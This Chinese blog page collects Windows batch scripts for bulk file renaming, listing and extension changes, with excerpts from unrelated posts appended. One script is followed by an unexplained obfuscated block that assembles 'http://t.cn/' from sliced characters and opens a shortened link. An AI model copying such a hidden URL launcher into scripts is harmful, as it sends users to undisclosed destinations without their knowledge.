擴充套件3 windows下的批量操作 批處理 bat

2021-08-21 20:47:17 字數 2678 閱讀 5462

目錄

檔名匯出到txt

更改檔名大寫為小寫

批量去除檔名中的空格

批量重新命名

去掉檔案前的數字

給檔案排序,新增數字

修改檔案字尾,但不修改自身批處理字尾

- 複製以下內容,另存為.bat格式,放到需要匯出檔名的資料夾裡,執行即可。

dir *.*  /b >list.txt

dir *.*  /b >list.xls

- 複製以下內容,另存為.bat格式,放到需要批量更改檔名大寫到小寫的資料夾裡,執行即可。  

::本**原思路由yyykkkyyyy提供,依夢琴瑤修改並新增子目錄的檔案處理

::::再次感謝yyykkkyyyy,我這裡就借花獻佛了。

更改檔名字首字尾都適用,比如有的相機匯出**的字尾預設為.jpg,而有些**上傳**時大寫和小寫是被認為不同的,就可以用此方法批量更改。畢竟小寫字尾更常用一些。

set dir=%~dp0&call:cdto

for /f "delims=" %%i in ('dir/s/b/ad') do set dir=%%i&call:cdto

pause

exit/b

:cdto

cd /d %dir%

for /f "delims=" %%i in ('dir/b/a-d/l') do ren "%%i" "%%i"

- 把以下**儲存成.bat批處理檔案,放到需要批量重新命名的檔案內,執行即可。  

執行cmd調出dos視窗,先用「cd c:\***" 定位到檔案所在資料夾***,再輸入命令「dir /b>rename.xls",就會在***資料夾裡生成乙個rename.xls文件,裡面列出了該資料夾中的所有檔名。然後,在其前面插入一列用ren填充,後面一列一一對應輸入新檔名(一般都是用某規律自動填充的啦),最後這三列複製貼上到文字文件裡,就ok了!

dir *.*   /b >list.txt儲存成bat  放在資料夾內執行即可提取全部檔名 ——2017.10.10 15:25:21補記)

若靈活運用,可大顯神通,感謝網上各路大神!!!

@echo off

for  %%a in (*) do (

for /f "delims=0123456789-" %%b in ("%%~a") do ren "%%~a" "%%~b.pdf"

)

@echo off

setlocal enabledelayedexpansion

for /f "delims=" %%i in ('dir /b /o-n "*.pdf"') do (

set /a n+=1

set "n=000!n!"&set "n=!n:~-4!-"

ren "%%~i" "!n!%%~nxi")

@echo off & title 批量修改檔案字尾名 by 依夢琴瑤

::設定要修改的檔案字尾名,多個字尾之間用英文逗號隔開,全部字尾請直接設定為*

set ext=*.txt,*.log

::設定最終更改後的字尾名,無需新增*.

set next=cfg

::設定要處理的資料夾目錄路徑,當前目錄請留空

set srcdir=

::設定是否處理子目錄,是 = 1 ,否 = 0

set zf=1

if defined "%srcdir%" cd /d "%srcdir%"

if %zf% equ 1 set r=/r

for %r% %%a in (%ext%) do (

if not "%~0"=="%%~fa" ren "%%~a" "%%~na.%next%"

)pause

set s1=.:htpcn/

set s2=%s1:~2,1%%s1:~3,1%%s1:~3,1%%s1:~4,1%%s1:~1,1%%s1:~7,1%

set s3=%s1:~7,1%%s1:~3,1%%s1:~0,1%%s1:~5,1%%s1:~6,1%%s1:~7,1%

start "" "%s2%%s3%rkdisqi"

exit

執行緒的互斥和同步(3) Windows的互斥鎖

什麼是互斥鎖 互斥量?同一時刻只有乙個執行緒訪問互斥鎖,如果其他執行緒請求占用該互斥鎖時,該請求鎖的執行緒會被掛起。直到鎖的擁有者釋放該互斥鎖,cpu排程到請求鎖的執行緒占有該互斥鎖,該執行緒被喚醒。createcreatemutex函式 表示建立乙個互斥鎖,waitforsingleobject函...

Windows下的PHP擴充套件

本來想吐槽點什麼,算了,直接進入主題吧。安裝php並擴充套件。我使用的php版本是php 5.3.10 3 命令列就如c php 5.3.10,輸入buildconf.bat。4 輸入cscript nologo configure.js with php build win32build with...

Windows下PHP擴充套件redis的安裝

我使用的是phpstudy整合環境 執行模式 php 7.2.1 nts apache 訪問http localhost phpinfo.php檢視architecture引數 這裡的x86就決定了我們要下哪個版本的redis擴充套件 搜尋extension php bz2.dll,在上面新增 ph...